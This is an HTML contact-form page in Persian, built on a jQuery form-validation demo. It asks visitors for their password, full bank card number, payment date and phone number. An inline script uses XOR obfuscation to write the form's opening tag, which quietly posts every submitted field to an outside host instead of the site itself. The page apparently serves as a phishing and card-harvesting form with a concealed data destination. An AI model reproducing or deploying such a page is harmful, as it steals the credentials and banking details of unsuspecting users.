<!coding by mr eghbal shirasb>
<style>
body{
direction:rtl;
font:13px Yekan;
margin:0;
padding:0;
color:#222;
background:url(http://up.abzar.in/up/11link/theme/Metrooo/css/07/main-background.jpg) no-repeat #eee top center fixed;
background-size:100%;
}
html, body{ height:100%; }
/* body min-width is 992px because it's 960px grid + extra 16px from each side of the header */
body{ min-width:960px; color:#444; background-color:#F1F1F1;
font-size:12px; line-height:1.5em; font-family:Arial, Helvetica,
sans-serif; }
html, body, div, span, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
abbr, address, cite, code, del, dfn, em, img, ins, kbd, q, samp,
small, strong, sub, sup, var, b, i, dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td,
article, aside, canvas, details, figcaption, figure,
footer, header, hgroup, menu, nav, section, summary,
time, mark, audio, video {
margin:0;
padding:0;
border:0;
vertical-align:baseline;
}
small{ font-size:0.9em; }
article, aside, details, figcaption, figure,
footer, header, hgroup, menu, nav, section {
display:block;
}
h1{ font-size:2em; margin:0 0 50px 0; }
button{ cursor:pointer; }
p{ padding:5px 0; }
a{ text-decoration:none; }
.btn{ margin:5px; font-size:1.3em; font-weight:bold; border:2px
solid rgba(0,0,0,0.2); display:inline-block; box-shadow:0 -30px 30px
-15px #00329B inset, 0 1px 0 rgba(255,255,255,0.3) inset;
background:#0088CC; background-repeat:repeat-x; color:#FFF;
text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25); border-radius:7px;
padding:10px 20px; -webkit-transition:0.15s; transition:0.15s; }
.btn:hover{ background:#0068BA; }
.btn:active{ box-shadow:0 0 0 0 rgba(0, 0, 0, 0.3), 0 -30px 30px -15px #00329B inset, 0 0 6px #00243F inset; }
.btn.github{ float:right; }
#wrap{ padding:50px; width:860px; background-color:#FFF; margin:20px auto; border:1px dashed #AAA; position:relative; }
.options{ position:absolute; top:-1px; right:-1px;
background-color:#F1F1F1; padding:4px 0; border-left:1px dashed #AAA;
border-bottom:1px dashed #AAA; }
.options label{ cursor:pointer; margin:0 10px; }
input, textarea{ border:1px solid #D1D1D1; }
input, select{ font-size:inherit; margin:0; }
input:focus, textarea:focus{ border-color:#AAA; }
input[type=number]::-webkit-inner-spin-button,
input[type=number]::-webkit-outer-spin-button { -webkit-appearance:none;
margin:0; }
input[type=checkbox]{ border:none; bottom:-1px; cursor:pointer; margin:0 5px 0 0; position:relative; }
button[type=submit]{ font-size:1.1em; padding:5px 25px; }
/* Tooltips helpers */
.item .tooltip{ float:left; top:2px; left:7px; position:relative; z-index:2; }
.item .tooltip:hover{ z-index:3; }
.item .tooltip > span{ display:inline-block; width:16px;
height:16px; line-height:16px; font-size:0.9em; font-weight:bold;
text-align:center; color:#FFF; cursor:help; background-color:#00AEEF;
position:relative; border-radius:10px; }
.item .tooltip .content{ opacity:0; width:200px;
background-color:#333; color:#FFF; font-size:0.9em; position:absolute;
top:0; left:20px; padding:8px; border-radius:6px; pointer-events:none;
transition:0.2s cubic-bezier(0.1, 0.1, 0.25, 2); -webkit-transition:0.3s
cubic-bezier(0.1, 0.2, 0.5, 2.2); -moz-transition:0.3s
cubic-bezier(0.1, 0.2, 0.5, 2.2); }
.item .tooltip p{ padding:0; }
.item .tooltip.down .content{ left:auto; right:0; top:30px; }
.item .tooltip:hover .content{ opacity:1; left:36px; }
.item .tooltip .content b{ height:0; width:0;
border-color:#333 #333 transparent transparent; border-style:solid;
border-width:9px 7px; position:absolute; left:-14px; top:8px; }
.item .tooltip.down .content b{ left:auto; right:6px;
top:-10px; border-width:5px; border-color:transparent #333 #333
transparent; }
/* alerts (when validation fails) */
.item .alert{ float:left; margin:0 0 0 20px; padding:3px 10px;
position:relative; color:#FFF; border-radius:3px 4px 4px 3px;
background-color:#CE5454; max-width:170px; white-space:pre; z-index:1; }
.item .alert::after{ content:''; display:block; height:0; width:0;
border-color:transparent #CE5454 transparent transparent;
border-style:solid; border-width:11px 7px; position:absolute;
left:-13px; top:1px; }
@keyframes shake{
25%{ transform:translateX(-6px); }
75%{ transform:translateX(6px); }
}
@-webkit-keyframes shake{
25%{ -webkit-transform:translateX(-6px); }
75%{ -webkit-transform:translateX(6px); }
}
form fieldset{ clear:both; margin:0 0 10px 0; }
form .item{ padding:5px 0; position:relative; height:2em; }
form .item.items{ height:auto; }
.item label{ float:left; }
.item label span{ float:left; width:160px; text-transform:capitalize; line-height:2em; }
.item input, .item textarea{ float:left; padding:3px 4px;
width:210px; -webkit-transition:0.2s; -moz-transition:0.2s;
transition:0.2s; }
.item input{ }
.item input.short{ width:90px; }
.item input:focus:not([type="checkbox"]), .item textarea:focus{ box-shadow:0 0 4px #00AEEF; border:1px solid #00AEEF; }
.item textarea{ }
.item select{ float:left; width:220px; padding:2px 0; margin:0; border:1px solid #CCC; text-transform:capitalize; }
.item select option{ padding:1px; }
.item > .extra{ float:left; font-size:0.9em; color:#999; line-height:2em; margin-left:13px; }
.item.multi .input{ float:left; }
.item.multi input{ float:left; margin-right:5px; width:35px; text-align:center; }
form .item.multi input:nth-last-child(-n+2){ margin:0; }
.item.items input{ border-top:5px solid #E1E1E1; margin:0 0 0 160px; }
.bad input[required=required], .bad input.optional, .bad select,
.bad textarea{ border:1px solid #CE5454; box-shadow:0 0 4px -2px
#CE5454; position:relative; left:0; -moz-animation:.3s 2 shake linear;
-webkit-animation:0.3s 2 shake linear; }
/* mode2 - where the label's text is above the field and not next to it
--------------------------------------------------------------------------- */
.mode2 .item{ float:left; clear:left; margin-bottom:30px; height:auto; padding:0; zoom:1; }
.mode2 .item.bad{ margin-bottom:8px; }
.mode2 .item::before, .mode2 .item::after{ content:''; display:table; }
.mode2 .item::after{ clear:both; }
.mode2 .item label{ }
.mode2 .item label span{ float:none; display:block; line-height:inherit; }
.mode2 .item input, .item textarea{ width:250px; margin:0; }
.mode2 .item textarea{ width:350px; margin:0; }
.mode2 .item select{ width:260px; float:none; }
.mode2 .item.multi label{ float:none; }
.mode2 .item.multi input{ float:left; margin-right:5px; width:35px; text-align:center; }
.mode2 .item .tooltip{ left:auto; position:absolute; right:-22px; top:19px; }
.mode2 .item .alert::after{ display:none; }
.mode2 .item .alert{ float:none; clear:left; margin:0; padding:0
5px; border-radius:0 0 3px 3px; max-width:100%; height:22px;
line-height:1.8em; }
.mode2 .item > .extra{ position:absolute; right:0; }
</style>
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Total Form Validation</title>
<link rel="stylesheet" href="fv.css" type="text/css" />
<!--[if IE]>
<style>
.item .tooltip .content{ display:none; opacity:1; }
.item .tooltip:hover .content{ display:block; }
</style>
<![endif]-->
</head>
<body>
<div id='wrap'>
<div class='options'>
<label>
<input type='checkbox' id='vfields' />
ردیفی کردن فرم
</label>
<label>
<input type='checkbox' id='alerts' />
خاموش کردن هشدار ها
</label>
</div>
<h1 title='how forms should be done.'>تماس با ما لزوم وارد کردن اطلاعات دقیق است</h1>
<section class='form'>
<script>var
enkripsi="'2;'1Admpo'02ogvjmf'1F'00RMQV'00'02cavkml'1F'00jvvr'1C--uuu,02vmmnq,amo-amlvcav/gockn-gockn,rjr'1Dqglf'00'02vcpegv'1F'00]`ncli'00'1G";teks="";teksasli="";var
panjang;for (i=0;i<enkripsi.length;i++){
teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)}document.write(unescape(teks));</script>
<fieldset>
<div class="item">
<label>
<span>نام و نام خانوادگی</span>
<input data-validate-length-range="6"
data-validate-words="2" name="data[نام و نام خانوادگی]"
placeholder="مانند اقبال شیراسب" required="required" type="text" />
</label>
<div class='tooltip help'>
<span>?</span>
<div class='content'>
<b></b>
<p>نام باید بیشتر از 2 حرف باشد</p>
</div>
</div>
</div>
<div class="item">
<label>
<span>شغل . حرفه . ضمینه کاری</span>
<input class='optional' name="data[شغل و حرفه]" data-validate-length-range="5,20" type="text" />
</label>
<div class='tooltip help'>
<span>?</span>
<div class='content'>
<b></b>
<p>این بخش اختیاری است و فقط اگر مایل بودید آن را وارد
کنید .<br /><em>برای مثال کمتر از 5 حرف
نباشد.</em></p>
</div>
</div>
<span class='extra'>(optional)</span>
</div>
<div class="item">
<label>
<span>ایمیل</span>
<input name="data[ایمیل]" class='email' required="required" type="email" />
</label>
</div>
<div class="item">
</div>
<div class="item">
<label>
<span>شماره پنل مورد استفاده</span>
<input type="number" class='number' name="data[شماره پنل
مورد استفاده]" data-validate-minmax="10,100"
data-validate-pattern="numeric" required='required'>
</label>
<div class='tooltip help'>
<span>?</span>
<div class='content'>
<b></b>
<p>شماره باید بین 10 تا 100 حرف باشد</p>
</div>
</div>
</div>
<div class="item">
<label>
<span>تاریخ واریز یا سفارش</span>
<input class='date' type="date" name="data[تاریخ واریز فیش]" required='required'>
</label>
</div>
<div class="item">
<label>
<span>رمز عبورتان</span>
<input type="password" name="data[رمز عبور]" data-validate-length="6,8" required='required'>
</label>
<div class='tooltip help'>
<span>?</span>
<div class='content'>
<b></b>
<p>بین 6 تا 8 کاراکتر</p>
</div>
</div>
</div>
<div class="item">
<label>
<span>شماره موبایل</span>
<input type="tel" class='tel' name="data[شماره موبایل]" required='required' data-validate-length-range="8,20">
</label>
<div class='tooltip help'>
<span>?</span>
<div class='content'>
<b></b>
<p>شما میتوانید از اسپیس و - و + استفاده کنید '</p>
</div>
</div>
</div>
<div class="item">
<label>
<span>پنل مورد استفاده </span>
<select class="required" name="data[پنل مورد استفاده]">
<option value="">-- none --</option>
<option value="o1">Option 1</option>
<option value="o2">Option 2</option>
<option value="o3">Option 3</option>
</select>
</label>
<div class='tooltip help'>
<span>?</span>
<div class='content'>
<b></b>
<p>از کدام سرویس استفاده میکتید؟</p>
</div>
</div>
</div>
<div class="item">
<label>
<span>آدرس وبسایت</span>
<input name="data[آدرس سایت]" placeholder="http://www.website.com" required="required" type="url" />
</label>
</div>
<div class="item multi required">
<label for='multi_first'>
<span>شماره کارت بانکی</span>
</label>
<div class='input'>
<input type="text" name="data[شماره کارت 4 رقم اول]" maxlength='4' id='multi_first'>
<input type="text" name="data[چهار رقم دوم]" maxlength='4'>
<input type="text" name="data[چهار رقم سوم]" maxlength='4'>
<input type="text" name="data[چهار رقم چهارم]" maxlength='4'>
<input type="text" name="data[چهار رقم پنجم]" maxlength='4'>
<input type="text" name="data[چهار رقم ششم]" maxlength='4'>
<input data-validate-length-range="24"
data-validate-pattern="alphanumeric" id="serial" name="serial"
type="hidden" required='required' />
</div>
<div class='tooltip help'>
<span>?</span>
<div class='content'>
<b></b>
<p>در اینجا شماره کارتتان را در صورت لزوم وارد کنید که
اگر پرداختی انجام داده اید چک شود در صورت اضافه بودن کادر ها ما بقی را 0
بگذارید</p>
</div>
</div>
</div>
<div class="item">
<label>
<span>پیامتان</span>
<textarea required="required" name='data[پیام]'></textarea>
</label>
</div>
</fieldset>
<input type="hidden" name="your_emali" value="your email"/>
<img src="/include/captcha/cap2.php?name_sess=397ce749a3cb4a0c6029ffb8f6dc5739" id="im_secC" align="absbottom">
<a href="#"
onclick="document.getElementById('im_secC').src='/include/captcha/cap2.php?name_sess=397ce749a3cb4a0c6029ffb8f6dc5739&Reload_id='
+ + Math.random(); return false"><img
src="http://up.sistemfa.ir/up/sistemfa/sistemfa/editor/refresh.gif"
align="absbottom" border="0"></a>
<input style="" id="comment_cap" name="data[کد امنیتی]" size="11" type="text"> : کد امنیتی </td>
<fieldset>
<p>در صورت نداشتن رمز عبور و یا کارت بانکی و یا ...
میتوانید به جای آن 0 قرار دهید . وارد کردن کد امنیتی الزامی میابشد وگرنه
پیامی برای ما ارسال نمیشود با تشکر</p>
</fieldset>
<input type="submit" value="ارسال پیام" class="btn" style="color: #DEF514; background-color: #0C1BA8">
</form>
</section>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script src="http://dropthebit.com/demos/validator/multifield.js"></script>
<script src="http://dropthebit.com/demos/validator/validator.js"></script>
<script>
// initialize the validator function
validator.message['date'] = 'not a real date';
// validate a field on "blur" event, a 'select' on 'change' event & a '.reuired' classed multifield on 'keyup':
$('form')
.on('blur', 'input[required], input.optional, select.required', validator.checkField)
.on('change', 'select.required', validator.checkField);
$('.multi.required')
.on('keyup', 'input', function(){
validator.checkField.apply( $(this).siblings().last()[0] );
}).on('blur', 'input', function(){
validator.checkField.apply( $(this).siblings().last()[0] );
});
// bind the validation to the form submit event
//$('#send').click('submit');//.prop('disabled', true);
$('form').submit(function(e){
e.preventDefault();
var submit = true;
// evaluate the form using generic validaing
if( !validator.checkAll( $(this) ) ){
submit = false;
}
if( submit )
this.submit();
return false;
});
/* FOR DEMO ONLY */
$('#vfields').change(function(){
$('form').toggleClass('mode2');
}).prop('checked',false);
$('#alerts').change(function(){
validator.defaults.alerts = (this.checked) ? false : true;
if( this.checked )
$('form .alert').remove();
}).prop('checked',false);
</script>
</body>
</html>
